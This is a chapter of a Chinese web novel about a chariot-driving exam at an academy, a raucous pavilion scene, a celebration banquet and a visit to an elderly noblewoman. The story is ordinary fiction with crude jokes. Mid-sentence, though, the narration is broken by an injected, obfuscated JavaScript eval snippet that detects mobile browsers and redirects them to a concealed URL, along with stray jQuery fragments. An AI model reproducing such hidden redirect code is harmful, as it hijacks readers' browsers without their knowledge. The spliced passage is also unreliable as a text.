97. 庆功

作品:《长安梦华录·凡界(下)

    御车大考,出场顺序由抽签决定,堂邑夫最后出场,薛环一同随他候场。


    我不是参考人员,不得入场,和薛环隔着围栏,说了会儿话,便回到看台。本想多说一会儿的,但是李椒都要把我瞪死了,我就赶紧“逃”了。


    我去找平安,半路被万三拉去当“宠物”,她带了好些好吃的吃食引诱我,喂我的时候非要我躺在她怀里,渐渐的姿势像母亲奶孩子那样,她沉迷其中,乐此不疲。


    虽然亭子两边都放下了纱幔,万三也带着围帽将我一同罩住,旁人是看不见的,但我半推半就,还是不肯轻易从的,这个万三,真是逮着机会就把我当儿子。


    我趁她不注意,像个泥鳅一样跑了。她不死心,一边骂我没良心,吃干抹净就拍拍屁股不认人,一边厚着脸皮跟着我屁股后面,到了惠王的凉亭。


    平安看见我和万三追打着来了,便从惠王齐王身边撤下来,“怎么,不是去找薛环一起玩儿的吗?”平安笑道:“你看你吃的什么?小嘴巴小脸上都是黑黑的。”说着就拿出帕子沾了茶水给我擦脸蛋。


    “是三三给我做的茯苓姜枣糕。”我道。我脸上那些,应该是枣泥。


    万三恭敬的站在亭子外面,端着礼,只等得了惠王的许可,才进到亭子里来,到平安身边端坐下。花铁铁也来了。


    仪甲披红色文武袖的学子们来回巡视,负责辅助考官计分,传达各个计分点讯息,骑着马从我们亭前经过,平安,花铁铁和万三的视线不由跟随。


    我呵呵笑了一声,道:“真好看。”


    花铁铁回过头来,撇了撇嘴,道:“好看什么,一群大蛐儿蛐儿,一巴掌拍死好几个。”


    她嗓门大,听见这话的人不少。


    “蛐儿蛐儿就是蟋蟀。”平安道:“又稀有又帅气,也配的上。”我不得不佩服平安,她可真会找补。


    直到红袖学子走远看不见了,万三才回过头来,“你们说,男人骑马什么姿势最好看。”


    平安闻言,瞬间羞涩低头浅笑。她的围帽上特别加了一圈由细小珍珠和水晶穿成的流苏,此刻随着她的动作来回摆动,闪着光芒,很是漂亮。


    万三撩起自己的帽帘,又掀起平安的帽帘,探头过去确定平安的反应,她眼睛一亮,大有遇见知己的样子,然后将帽帘都放下,朗声笑起来。


    “有什么好笑的!?”花铁铁参与不进去,有些着急,“不是问的哪个姿势最好看吗,怎么还笑起来了?”


    我用团扇闪着风,面无表情地低声揭露答案:“摆腰。”


    花铁铁正在端着杯子喝茶,听到这两个字,刚要说这有什么好笑,便瞬间回过味儿来,被茶水呛了一下,又愣了一下,看着平安发笑道:“平安,你还真是……妙啊!”


    亭子里其他人,也都浅浅地笑着。


    隔着围帽也能感觉到平安此时又羞又窘,怕和我们一起还闹笑话,便往郑清身边使劲儿靠了靠,和我们保持距离。


    花铁铁呛了那一下,便一直咳嗽,我伸手在她背后拍了两下,她好了,却又来嗔怨我,“下手轻点,不咳嗽死,也被你拍死了。”


    “哟,你是个蛐儿蛐儿啊,拍一下就死?”我道。花铁铁见我故意拿刚才她的话来噎她,狠狠瞪了我一眼。平安等人浅笑。


    “要能这么轻易就死了,就好了。”万三优哉游哉地道:“下辈子我就不托生成人了,要是还托生成人,我就做男人……”


    “你可做不成男人,你还得撅着大腚甩着大扎到处拉人当儿子,追屁股后面上赶着给人当娘呢!”我揶揄万三。花铁铁一脸‘你今儿吃屎吃撑了,逮着谁都往死里噎’的样子。


    万三白了我一眼,哼了一声道:“是是是,我便世世代代都生成女人,总有一辈子你是我生的。只但愿我生生世世都姓李名蔓姬。”


    “姓李?哪个李?”我闻言瞬间警觉地看着万三。


    万三吊儿郎当地道:“哪个李都行,只是别耽误我叫李蔓姬。”


    我们对万三的话不明所以,平安却忍俊不禁,然后低头羞涩地往郑清身后躲了躲。


    万三又赞了平安一声“妙”,满眼都是知己难遇,相见恨晚的激动。“妙什么妙啊。”平安咬了咬嘴唇,愁苦懊悔道:“哎呀,我真是讨厌死这种秒懂的感觉了。”


    七皇子和柳延年也抽搐着嘴角浅笑起来。我拉着柳延年问她到底笑什么啊?


    柳延年强忍着笑意,道:“小儿不宜!”


    我大怒,用小手使劲儿掐他大腿胳膊和他腰:“宜不宜,宜不宜,宜不宜……”正掐的起劲儿,脑中忽然灵光一现,倒吸一口凉气,小手捂着小嘴巴:“日理万机?!”


    我难以置信的回头看着万三,一脸‘你可真是天生做婊子的材料,你不干这行,这行都得倒’的神情。


    万三掀开围帽,高挑着下巴,用鼻孔看我,仿佛在说:怎么了,管得着嘛你?有本事你叫李蔓姬啊!!得天独厚,顺理成章!!!


    我眼神警告万三,万三一翻眼,别过头去不再理我。


    那边花铁铁突然大手一拍,道:“哎呀呀,三三你还真是志向远大,我尝闻这个皇帝日理万机,那个君王日理万机,这个宰相日理万机,那个首辅日理万机,这个将军日理万机,甚至连太后都日理万机,啧啧啧,满朝文武,哪个不日理万机。日起来啊日……果然逃不过生生世世做女人,那就得姓李名蔓姬啊!!这特么才有做女人的乐趣,这特么才真正是女人啊,啊哈哈哈……”


    “……啊哈哈哈……”


    我们亭子里笑声四起,引得太子那边也频频侧目。纱幔北风吹起,一时间视线再无遮挡。


    我余光瞥见荣珺公主一脸欣喜地起身,不等她出亭子朝这边过来,我就“不小心”撞翻了花铁铁递到嘴边儿的茶水,被她追着打着跑远了。荣珺公主脚步一滞,有些失落。


    可惜没跑多远,我就被花铁铁追上了,她拽着我的衣领,把我放倒附在她膝上,像娘打孩子一样,打我屁股,我声嘶尖叫。


    万三提着裙子哼哧哼哧跑着跟上来,心疼地护住我,“别打了,别打了,就是碰洒了杯茶水,多大的事儿啊,长安又不是故意的,道个歉就行,何苦这样打他,你看都给打死了。”


    万三将没了动静的我,从花铁铁的膝上抢下来,翻过来一看,我已然翻着白眼晕过去了,就心疼地哭起来,指责花铁铁下手太狠,把她宝贝儿子打死了。


    花铁铁慌张地退了一步,说:“哎哎哎,别胡乱咬人啊,我可没使劲儿,她就是装的,是装的,我再打一下,你叫我再打一下,我指定给她打醒过来,你别不信,我就再打一下……”说着花铁铁就要把我拽起来,举起手威胁着吓唬我,警告我别装了。


    两个人纠缠起来,万三死死抱住我,哭喊着:“还给你打!?……再给你打一下,下下辈子的胎都投好了!呜呜呜……可别真做了李蔓姬啊……我的儿……”


    两人继续争夺着我。


    平安跑过来问情况,见我鼻血横流,被两个人撕扯着飞的满脸都是,实在骇人,尖叫一声,花铁铁和万三也吓了一跳,平安不管她们,更顾不得气喘吁吁,就大喊着把我抢过来,叫跟上来的郑清赶紧把我抱回亭子里去。


    柳延年不让他们把我放平,说那样流出来的鼻血会呛到肺里,就真救不活了。郑清便将我支在怀里半躺着,平安浑身颤抖着给我擦拭鼻血,万三不停地哭喊着儿子我的儿子,帮忙打下手。她嘴上不停,手上却利落……


    一圈的人都急得不行,便也不在意万三的胡言乱语。一阵骚乱,引得其他亭子里的贵族们,纷纷张望。见是惠王的亭子,便也不敢明目张胆的看,太子那边差人来问。


    花铁铁意识到犯了大错,连忙拿了一颗鳄血菩提给我服下。我缓缓睁开眼,看了看众人。


    众人长长舒了一口气,紧张地心情和身体,都放松下来。不等他们询问我情况如何,我便道:“不是花铁铁的错,别怪她,是我练功出了点小岔子,又连日操劳不得休息,疏忽了,方才跟花铁铁闹着玩,催动内力太急了些,气血上涌才……好累,想睡。”


    我感觉郑清的怀抱好清凉,好舒爽,我仿佛睡在一朵莲花做的摇篮里,飘荡在泛起微微涟漪的水面上……便紧紧抱着他的胳膊,在他怀里缩成一小团儿,拒绝被万三拉出来。


    昏昏沉沉间,只听得带着鼻音的荣珺公主问万三,“你是长安哥哥的娘?”


    万三做作地抹着眼泪,悲戚蹙眉,满脸心疼地默认。


    我立即用尽全身的力气,睁开眼,艰难地对着万三说了一个字:“滚!”


    说完我就沉沉睡着了,没听见万三愣了一下后,自我缓解尴尬道:“我儿真是孝顺,回光返照,就为了最后和我说上一句话,哪怕就一个字,也要留给我,真是我的好大儿啊……”


    平安憋了一下,蹙着眉头,叫花铁铁遵照我意思,“赶紧把她带走吧。”


    花铁铁听话照办,一巴掌呼晕不愿离开的万三,扛在肩上就走了。


    平安对着花铁铁强装的背影,欣慰地点点头,觉得自从有了个更不懂事的万三,花铁铁就懂事了,果然人呐,全靠衬托。又忽然想到刚才就是花铁铁把我打了个半死,万三舍命冲上前去把我救下的,便乱了一下,最后只觉得一个赛过一个,哪个都不是省油的灯。


    御车场上的大考,进行的如火如荼,热火朝天。


    二十个学子,分成五批入场,四人一组,车马随机。


    场上的学子精神抖擞。候场的学子们气定神闲,甚至轻松畅谈,对场上学子的表现,进行客观公正的评价。


    御车大考,分为鸣和鸾,逐水曲,过君表,舞交衢,逐禽左。


    一共四个场地,每个场地外有十位指定大考官打分,另场上每位学子跟有四位非指定考官打分,既每辆战车上随机两位监考官,再有随机两位监考官骑马随行。


    考试核分,公开公平公正。


    鸣和鸾,是指驭手驾车时,控制马车銮铃的节奏,这一项技能贯穿御车大考的始终,只要马车开始行进,考官便根据铃声的节奏开始计分扣分。


    逐水曲,是驾车沿着崎岖陡折的水道,弯道,疾驰,甩尾,滑行而不失控,考察的是学子对复杂地形的高超驾驭能力。


    过君表,是驾车精准通过上位者看台下辕门前设置的各种障碍,还能从容不迫地施行军礼,仪态端庄的展现高阶礼仪。


    舞交衢,是模拟战场上的各种作战情势,由学宫学子扮演敌军,发动各种突袭埋伏,应考学子要在灵活驰骋中展现机动的战术:如何守,如何攻,如何突围,如何制敌……


    最后是驱禽左,展现曲折地形,战车高速行驶围猎时从左侧迫近驱赶猎物,辅助御车上的射手射猎,驱禽左平时围猎围的是动物,上了战场围的就是敌人,是军事和田猎的双项考察。车上的射手一般跟的都是自己的书僮,这时候拿着沾了红漆的无镞弓箭,随机射中一个猎物就可。


    逐水曲那边场地泥泞,驱禽左都是各种动物,这两处场地没有搭建临近场地的看台凉亭,不过其他两处场地的看台凉亭,都建在地势较高之处,视野清晰,很方便观看这边的两个考试。


    考试靠的就是临场发挥,便是平时辞文答辩的小考上也会有突发状况,何况是这种不确定因素众多的御车考试。


    首先,越靠后出场,逐水曲这一场地越泥泞难行越要吃亏些,安插在得分点和扣分点的小旗子,也因为多次撞倒反复插拔,变得异常松动。


    但这些状况,都不算什么。也许是前四场舞交衢的学子们被应考学子打得落花流水,心生不忿,或者最后一场他们才活动开筋骨或是怎样,反正他们突然异常勇猛,搞得堂邑夫最后四个出场的学子,在舞交衢这一场地的考试,和真正的战场无甚区别了。


    唯一的区别就是他们使用的武器都是棍棒而已,并不能直接要人性命,但也不容小觑。


    战车疾驰,他们打不到车上的人,就埋伏攻击马匹,驭手一边驾车,一边和副手执戟还击……场面一度太过激烈,几个骑马随行的监考官,都被迫与考生隔开,甚至有两个落下马来,随行车中的考官也都纷纷感觉不妙,神色紧张,小心躲闪……


    场边的大考官们也都神情各异,但并不做声响,只能依旧装作气定神闲的样子,硬着头皮完成考核打分的职责任务。


    等考生突破重围,到了驱禽左,就更夸张了,动物们大概由于天气炎热,或者前几场考试的惊吓奔波,积压到了极限,忽然变得异常躁动,有些精神头一般的,胆子小的,之前几场考试老是躲在场边,这会儿说是为了考试公平,必须要撤下来,又没有特别温顺的动物了,便拉来了一群原本因为品种,性格,暴躁嗜血不适合考试的动物来,硬把数凑齐。


    这些动物们,进入场地后便近乎失控,一般动物遇上战车驱赶,都是会躲避的,但这些动物,反而跟着马车狂吠撕咬……真是让人大开眼界!!!


    骑马随行的考官虽都是训练有素的战马,又被冲散,隔绝在外不得近前,纷纷看向场外大考官,其他两个场地的大考官,因为已经完成打分,便也到驱禽左的场地观看考试情况。


    场上的田世子叫苦不迭,他们寝室四人这次都考进了前二十,本来可以分开抽签上场的,但是李椒想和堂邑夫一个场次参考,较量一番,陈书也想和李椒堂邑夫比试一下看看差距,田世子一看,他们都一个场次,自己也一起吧。


    御车考试是允许考生约定同场竞技的,所以他们就派田世子去抽一个签,决定出场顺序,结果田世子手气太臭,上来就抽了个二十,毋庸置疑地最后一场。


    眼见得,陈约的箭都已经射完了,田男男因为战车颠簸,动物狂乱,总也找不到射中的机会,出于谨慎,保存实力,于是还剩了不少箭,但也没什么大用场,薛环和李墨香一箭未发,全凭驭手们的高超车技与动物们周旋。


    不久马儿体力极速下降,动物们痴缠上来,田男男箭射完了,便学着陈约一起挥动长戟,但是他们之前在舞交衢时,太过奋勇杀敌,已经耗费了太多体力。


    按照规定驱禽左这场考试,驭手只能驾车辅助射手,不能主动拿起武器进攻或者防守,想要摆脱动物只能依靠车技驱赶,于是这会儿看到陈约和田男男逐渐式微,陈书与田世子就有些慌了。堂邑夫和李椒还能熬,可他们再这么下去,一旦被动物反扑上来疯咬,马匹受惊或受伤,怕是会出事儿,往轻了说车翻马伤,往重了说,那就是车毁人亡……


    可田世子和陈书这时候退出考试,不仅严重失分,被判定不合格,使得考试中断,也一定会影响到堂邑夫和李椒的成绩,作为兄弟他们不能不讲义气,打算死撑到底。


    场外的人也都提心吊胆,人们纷纷议论,是不是应该终止比赛。


    但考场如沙场,学宫大考关乎考生本身及其整个家族的荣誉与发展。就算大家都看出危险,大考官们也不会为没发生的事故,勒令考试中断,他们可没那么大的本事,承担事后引发的一系列后果的责任。


    就算真的出了人命,也有太子在场呢!


    学宫大考,乃国家大政,从来都是一考定终身,如同春闱一样,不会因为意外原因突发事件,就重考,补考的,就算突发疾病死在考场,也要等考试结束,尸身才能离开贡院。


    故而,不管发生什么事,上了考场,便一切只能尽人事,听天命。中断考试,此例断不能开,此风断不可长,天子也不能下旨,何况太子。


    所以眼下,除非考生自己提出中断考试,否则一切听天由命。


    堂邑夫和李椒又怎么会对田世子和陈书的窘境视而不见?拉缰引马过去与他们的战车并驾齐驱,战车不能靠得太近,但总算冲散了一些动物。


    情势依然危机,堂邑夫和李椒,一边驾车驱逐,一边交换眼神,最后李椒大喊一声:勠力合围!


    此时考试已不再是单独技艺上的较量,而是瞬息万变的沙场——他们是考场上的对手,日后真上了战场,便是生死相依的战友,李椒的一声令下,他们心头忽然涌上一种同仇敌忾的浓浓兄弟情。


    四辆马车进退有度,合力协作,将动物们围绕驱逐,陈约和田男男得到喘息,薛环和李墨香纷纷拉弓射击带头扑咬战车的动物,虽然箭没有箭镞,但是他们技艺高超,专门射击那些动物的要害。驭手们驾着高速的马车,趁机将这些动物分隔开来,群龙无首,四散溃逃……


    受伤的动物被快速清理出考场救治,场上骚乱平息,这时四辆马车,分散开来,回到各自的轨道上,按照标准考试要求,将动物们驱赶至指定路径,完成考试。


    考试结束,场边欢呼震天……


    御车大考的成绩,半个时辰后放榜。


    众人等在榜前,我跑去薛环身边,薛环一把牵住我的手,我满心欢喜,紧紧贴了上去,他另一只手握上我的手,将我的手搭到他的臂弯上夹紧,我开心地摇晃着身子,很自然的抱上他的胳膊,将头靠在他的肩上……


    ******


    不远处看着我们的花铁铁和平安,神色各异,围帽下的平安一脸姨妈笑,花铁铁酸不拉几的道:“就那几个动作,够我学一辈子的了,平安,还真让你说着了,那俩小屁孩,还果真是在谈什么劳什子的恋爱呢。”


    “好可爱哦。”


    “可爱个屁!”


    “我怎么有一种自家养的小白菜还没长成大白菜,就被小猪崽子拱了的感觉呢,心塞啊。”柳延年酸酸的,心揪着。扯着肠子一起疼。


    “你可能和三三一样,把长安当自家小宝贝儿了,一般这种情况,老父亲是会难过的。”平安说着,一脸丈母娘看女婿越看越喜欢的样子。


    柳延年瘪了瘪嘴,没说话。花铁铁也拧着眉头,没再言语。


    “那小子不错,聪慧过人,天赋异禀,最重要是年龄相仿,看着怪般配的……”平安说着就顿住了,满脸伤感,最后摇着头,叹了口气。


    堂邑夫排名第七,他的分都扣在最后一场的鸣和鸾上,最后一场他们四人的车铃确实乱了些,不过这个成绩,已经远远超出大家的预料,众人都很开心。


    花小楼的姑娘们要给堂邑夫开庆功宴。


    堂邑夫不好意思地推拒,说学宫大考并未完成,这时候庆祝不好。


    平安和七皇子,柳延年也认为堂邑夫说的对,说半场开香槟不好,“还是等大考全都结束再庆祝,比较好。”


    “什么这不好那不好,什么半场香槟开不开,等什么等?”花铁铁觉得扫兴,剜了一眼堂邑夫,道:“真把自己当盘菜啊,大家伙儿就是找个由头开心一下子聚一下子,你还喘起来了,不去拉倒,姑娘们,咱们自己去庆祝孩子他爹考了个好成绩。走!”


    花铁铁说着拉上平安就走,至于七皇子和柳延年,一个疯子一个傻子,她懒得计较,想来就来,不想来也没啥。


    姑娘们簇拥着有些尴尬的堂邑夫,七嘴八舌:“进了学宫大考前二十,就是保准的紫袖学子,便已是顶尖的人物了,怎么就庆祝不得了?对对对,就是要庆祝,以后堂郎君每次考完了咱们都庆祝一番。庆祝到最后,说不定咱们堂郎君一不小心中了首冠,咱们都跟着一起去丰秋宴上庆祝呢,啊哈哈哈……”


    男儿的意气风发,总是让姑娘们更加兴奋悸动,对未来充满期许。


    而我,只想跟薛环一起。等他们想起来找我,我早就不见了踪迹。


    姑娘们陆续上了马车,花铁铁环顾一周,奇怪道:“长安呢!?”


    在马车上刚刚坐定的齐王闻言,立即探出车窗,道:“跟薛环一块儿骑马跑了。”


    端坐在车里的惠王,淡定道:“朝南边去了。”


    马车里的平安,摘围帽的手顿了顿,蹙了蹙眉头,等围帽摘下来,她已经面色如常,可心里对两位王爷的“告密”,感到有些不快。


    心中不免腹诽:这两位王爷各种借口跟着长安,都住到家里来了,如今还要把花铁铁当枪使,借着她的手,将长安牢牢绑在身边吗?长安就不能有自己的空间吗?和喜欢的人一起出去玩玩怎么了?非得搁在眼皮子底下吗?


    还有这个花铁铁,她自己想去干什么,和什么人在一起,玩什么,聊什么,长安从来不多过问。她反倒管长安管得跟老妈子管儿子似的。


    平安想到这里,便隔着马车窗子,对花铁铁道:“铁铁,咱们还是及早进城吧,堂邑夫刚还约了田世子李公子陈公子一起,李公子和他关系才好些,长安不来就不来吧。”


    花铁铁正牵来马匹,要去把长安找回来,听平安这么一说,才道李椒那个臭脾气青面脸也来参加晚上的庆功宴,想着今日他们四人在场上的险象环生,天衣无缝的合作,确实应该借着这机会彻底缓和一下关系。


    她越想越觉得的是这么个道理,长安确实该回避一下,“对啊,这可是她大螳螂的庆功宴,除了这个原因,她没道理不参加。”花铁铁点点头道:“好吧,让她玩去吧,咱们先进城吧。”


    惠王齐王略略失落。


    时辰尚早,堂邑夫和李椒,陈书,田世子,一道先去了万园街清水小塘泡汤浴,洗去疲乏,还做了一个精油按摩,小憩了一会儿,然后又去了隔壁的台球园包间打了几场台球,包间是贵宾等级,绝对私密,他们一边打球一边复盘今日的御车大考。


    李椒缓和了态度,但对堂邑夫依旧没有过多热情。可他已经开始思考自己长久以来那般行径去对待堂邑夫的合理性了。


    今日堂邑夫在场上对他的指令完全听从,卖力合作,堂邑夫只是跟着韩燕熙学了三天,经过短期的不懈练习,就将御车技艺快速提高,今日场上的表现,堪称精湛超绝。


    这让李椒有了新的认知,他不禁掂量起自己一直以来对堂邑夫的成见是否太过偏执,反观堂邑夫格局气


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15200052|152330||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    度胸襟,并非常人能比,显然更优于自己,值得自己学习。


    其实,要不是长安,他们会成为很好的朋友。李椒这样想,可一想到长安,想到如今长安不缠着堂邑夫了,又开始和薛环那小子拉拉扯扯的,李椒便又心塞起来了,塞得有些喘不上来气,他偷偷捂了捂心口……


    李椒有些不想参加什么庆功宴了,可是已经答应了,又不好出尔反尔,便冷着脸,用力推杆,将台球打的“哒哒”作响。


    他们一直玩到卯时五刻,来花小楼三楼包间参加庆功宴的时候,我和薛环已经从山居小院回来了,薛环回了学宫,我正坐在一楼后院东侧抄手游廊的隔间里,磕着瓜子,喝着果茶,听说书先生讲《画皮》。


    田男男跑过来招呼我上三楼。有姑娘们在,包间里的场子已经热好了,气氛欢脱愉悦。


    酒菜上桌,席面铺开,正位是惠王,左右是齐王和七皇子,然后是田世子陈书,李椒堂邑夫分列两侧,再次是郑清柳延年和几个书僮,接着是花铁铁平安虞三娘子和万三等花小楼清闲着的姑娘们。


    我坐在惠王和齐王中间,惠王以茶代酒,发表讲话,几杯开场酒下去,姑娘们弹唱起舞,大家就自由起来,坐次就随意起来,堂邑夫被万三拉到姑娘那边坐,而我则到李椒身边坐下,从怀里掏出一个锦盒给他。


    “这是延年益寿的鼋血菩提,给老夫人的。”我道。


    李椒接过去,放入怀里,什么也没说,连谢谢都没说。


    斜对面的花铁铁夹了一块肉放进嘴里用力的嚼着,然后将筷子“啪”的放到桌子上,黑着脸看着我,仿佛在说你热脸贴他冷屁股干什么?那么好的东西,我辛辛苦苦用内力炼出来的。刚才我回来参加庆功宴,花铁铁还惊了一下,仿佛我是回来添乱的。这个傻子,李椒和堂邑夫好不容易缓和了,我不赶紧乘胜追击啊,我躲出去算怎么回事儿。


    花铁铁知道我就是单纯的忙中偷闲,见缝插针地跟着薛环溜出去玩儿以后,瞬间变脸,好在虞三娘子和平安拦住了她,不然她还要打我屁股。


    “我~祖母时常念叨你,想念你,总盼着……你抽空来我家看看她吧。”李椒顿了顿,低声道:“明日可好?今晚我把这个交给她的时候,跟她说,她定是欢喜的。”


    明日,“倒是有空,要不还是先别说了,万一我有事脱不开身呢?”我道。


    “就去眼一看,不耽误什么功夫。就算有万一,你也抽空去看一眼吧。”李椒道:“我奶奶不喜欢惊喜,还是在上郡的时候,有一次,我外出做事,突然归家,她高兴又不高兴,说以后不许我给她惊喜。


    她嘱托我以后要回家来,就提前叫人跟她说,早说一天,她就早欢喜一天,早说十天她就数着日子早欢喜十天。


    我想她对你也是一样的心意,若你明日突然造访,她自是欢喜,可你坐一坐就走,你坐一刻钟她便纠结你一刻钟就走,你坐一上午她便纠结你过午就要走,哪里肯尽兴欢喜?还要怪罪我早不和她说。老人家就是这样的,盼着的时候才最是欢喜,所以有好事情,我要早早地和她说,你且体谅,不是我以此挟你,实在不能去,祖母也是理解的。”


    有他这句话,我才好松口气,我真是给他吓怕了,一点不敢提前应承,生怕又因为什么突发事件爽约,又给他逮着把柄,把我恨毒了。


    “好吧,你和老夫人说吧,嗯,我明日给七皇子制好药就去府上拜访,我喜欢李妈妈做的手擀面,明日我去府上,赏我一碗吧。”我软软糯糯的请求道。


    李椒的冰块脸,难得舒缓融化开来,扯了扯嘴角,道:“什么赏不赏的,照旧管够。”说着他亮起的眼色瞬间一暗。


    我丝毫不觉,只顾着开心道谢。


    过了一会儿,李椒又道:“要不散了席,你就随我回家吧。”李椒想最好这就动身走,但是亲王皇子都在,他提前离席实在失礼。


    “……”我抬头望着他,心中叹了口气,那时候他虽尚且年幼,但情窦初开,总是用情太深,我是无心的,但他因为我伤心狠了,偏执的以为我欺骗了他的感情,便总以为我对他不真诚。人啊,相信的能力是很脆弱的,一旦受到重创,是很难恢复的。


    “你放心,我不会诓你的,你难得对我和颜悦色,我可不想再得罪你招你恨,你那么孝顺,老太太是你的逆鳞,我怎么会在拜访老太太这件事儿上戏耍你呢?再说老太太对我那么好,我理应早该去拜访她的,只是以前你厌恶我,我不敢去你府上叨扰而已,这回你松了口,我可不得上赶着去啊,我还怕你回头变了卦,我倒去不成了。”


    李椒被我说中心思,有些尴尬地清了清嗓子,道:“是我失礼了。”双手端起酒杯向我拱手示意,然后仰头一饮而尽,算是赔礼道歉。


    也许是酒的作用,李椒喉间有一丝甜蜜,顺着滚烫的热流直击心房。侧头看着那张依旧稚嫩的脸,一股苦涩又瞬间涌了上来,他假意擦着嘴角的酒水做掩饰,不着痕迹的叹了口气。


    第二日一早我就给七皇子配好了最后一剂药,服侍他喝下,这一次他并没有昏睡,精神头反倒很足,便跟着花铁铁郑清他们在书芳园上课,我和平安一起去忠义侯府拜谒。


    将平安介绍给老夫人,便给老夫人请了平安脉,她身子十分硬朗康健,我道长命百岁不是问题。


    老夫人哈哈笑道,“这还多亏了你啊,前些年在上郡,你总是给我捶肩捏背到天亮,以前只感动你孝心,后来才知道你那是暗中给我治病,怕我瞧出端倪,就缓缓的治,这些年我这腰不酸了,腿不疼了,走路都有劲儿了,一口气儿种一步地不在话下,哩哩啦啦的小毛病再也没犯过,身子舒爽着呢,起初还以为是长安城的风水养人,离了上郡那苦寒之地,自然就好了,后得知你医术了得,前后一想就明白了,你这孩子,多纯良的心地啊,哈哈,老婆子我看人从不走眼。”


    说着老夫人看了看平安,又看看我,再看着平安,仔细端详着我们俩,点点头笑道:“真是花儿一样的孩子,好哇好哇。”


    我又给李妈妈把了把脉,都是些这个年纪常有的病痛,我如今公务繁忙,自不能亲自诊治,只先开了一个方子,回去叫我一个擅长此类病症的师侄,这段时间到忠义侯府上出诊,搭配我的方子,针灸推拿便可。


    说起来,李家大公子李档的亲事定了,是陇西的良家子,老夫人下个月七十寿宴过了,忠义侯李远就上折子请封大公子侯爵世子,等朝廷正式册封完世子,他的婚事就提上来。


    老夫人喜笑颜开的说着,这桩桩件件的喜事,除了册封世子典礼,其他两件事都是人情世故,都是要随礼掏钱的,她是隔着辈的长者,我们小辈间不曾拉过这等来往,拉不拉这个来往还要另说,如此,她也是不好直接开口邀请的,便只要我们平时多来走动,闲时常来看望她。


    平安是个聪慧的,赶紧说:“这等好事儿,就算府上不发帖子给我们,我们也是硬要来讨寿饼,抢喜糖吃的。”


    “就是,我不光想带着妹妹来抢寿饼喜糖,还要把我结交的姐姐们都带来抢,沾沾老夫人的福气,也沾沾大公子的喜气,更沾沾侯府的贵气。我的那些姐姐们原是南唐放良的姑娘,先前在花小楼落脚,如今搬到芳园去了。”我一脸天真无邪的样子道。


    这都是名门贵族圈子里,极为露脸的机会,寻常人花钱买路子都不一定能得到,得好好利用,不然也对不住花铁铁精心炼制的那两颗血菩提。


    “好好好,欢迎姑娘们来我们府上赴宴。”老夫人笑道。


    平安听了我的话原本惴惴,看到老夫人的反应,有些惊喜,问道:“老夫人不嫌弃她们吗?李家可是侯门贵胄……”


    “啊哈哈哈,我这老太太都没这些老观念,你这年纪轻轻的小姑娘,倒念这些老婆婆经。”老夫人笑道:“我们这代人从前都是泥腿子,不管我们家,这京城中的士族,多的往上数三代,少的数一代,谁家不是泥腿子出身?


    倒是这些落了难的姑娘从前都是官家女,南唐那边的,出身倒高贵着呢,人家都遭了罪了,靠着自己的努力好容易赎了身,放了良,重获了清白自由,其中艰辛,同为女人想想便知道了,凭什么嫌弃人家啊。


    她们要真能来我这里坐坐,我高兴,跟我说说南唐那边的风土人情,哎,说不定我一把岁数了,还能从她们身上见识见识老唐遗风呢,啊哈哈哈……”


    不管是南唐还是北汉,老一辈人,总是对盛世老唐有着说不清道不明的向往和憧憬。


    老夫人豁达,叫平安刮目相看,赞叹不已,我脸上也分外有光。常言道笑贫不笑娼,老夫人是既不笑贫也不笑娼,一把年纪,看事通透,不糊涂。


    吃了午饭,又说了会儿话,我们就告辞了,老夫人送我们出了大门,给我们拿了一些李家庄子上新下来的时令水果,还有她跟李妈妈亲手做的糕点,再三嘱托我和平安常来家里玩。


    回去路上,我和平安聊起李家来。


    “什么门第,什么联姻,李家尊重这些,却也最不看重这些,也从不张罗这些,李家一门荣耀,都是男人们上阵杀敌,拼死挣回来的,稳固经营,也都靠着男人们在朝堂沙场的军功政绩,从不靠钻营内宅裙带这些东西做依仗。


    甚至刻意规避这些。如果是个好姑娘,就算是养在府上的丫头,也三书六礼,娶进门来做正头娘子,从前李家是太守府,如今更贵为侯府,可李家的后院从来都是一顶一实打实的干净,妹妹这也是我今日带着你来一同拜谒老夫人的原因。


    以后,你家郑清也该是位武将,你若能像老夫人一样,把这一大家子打理的清平安乐,那便是极好的了。以后你,经常到忠义侯府上来玩,正好他家新妇进门,你从旁瞧着,也跟着老夫人学学掌家的本事。”


    平安点点头,颇为感叹似的,道:“李二公子对你好痴情啊,他哥都续弦啦,他还不议亲。”


    “什么跟什么啊?”我头一疼,道:“他不议亲是因为他李家的内功心法,保持童子金身,不卸元阳,能更加快速的晋升九品,跟我有什么关系。可别瞎猜乱说哈。”


    平安吐了吐舌头。


    “哎,我和他的事,你怎么知道的,花铁铁说的?”我瞬间怒发冲冠。


    “别别别,先别生气,是我,是我先瞧出不对的,李二公子对你爱之深责之切的样子,我很难看不出的,我就跟堂邑夫打听,正好花铁铁撞见,就……”平安努力解释。


    “她怎么和你说的?”


    平安把她知道的关于我和李椒的事情说了一遍,我特么都没听出来那说的是我和李椒之间的事情。


    之前江湖上流传的版本虽然离谱,但去除捕风捉影,起码还有个原来的样子。


    “这是谁用我和李椒的名字写了个新话本子吧?”我脑瓜子嗡嗡的,“嗯……现在这个版本,还有谁知道?”


    根据我的经验来看,谁知道,这个“话本子”就是谁参与酝酿的。